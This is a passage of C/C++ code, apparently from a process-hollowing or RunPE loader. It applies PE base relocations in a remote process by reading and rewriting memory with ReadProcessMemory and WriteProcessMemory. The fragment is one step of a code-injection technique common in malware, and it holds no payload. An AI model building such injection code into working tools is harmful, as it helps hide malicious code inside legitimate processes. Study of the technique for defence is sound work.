                relocationOffset += sizeof(BASE_RELOCATION_ENTRY);

                if (relocationEntries[y].Type == 0)
                {
                    continue;
                }

                ULONG_PTR patchAddress = relocationBlock->PageAddress + relocationEntries[y].Offset;
                ULONG_PTR patchedBuffer = 0;
                ReadProcessMemory(destProcess, (LPCVOID)((ULONG_PTR)destImageBase + patchAddress), &patchedBuffer, sizeof(ULONG_PTR), &bytesRead);
                patchedBuffer += deltaImageBase;

                WriteProcessMemory(destProcess, (PVOID)((ULONG_PTR)destImageBase + patchAddress), &patchedBuffer, sizeof(ULONG_PTR), &fileBytesRead);
            }
        }
    }
    

    return 0;
}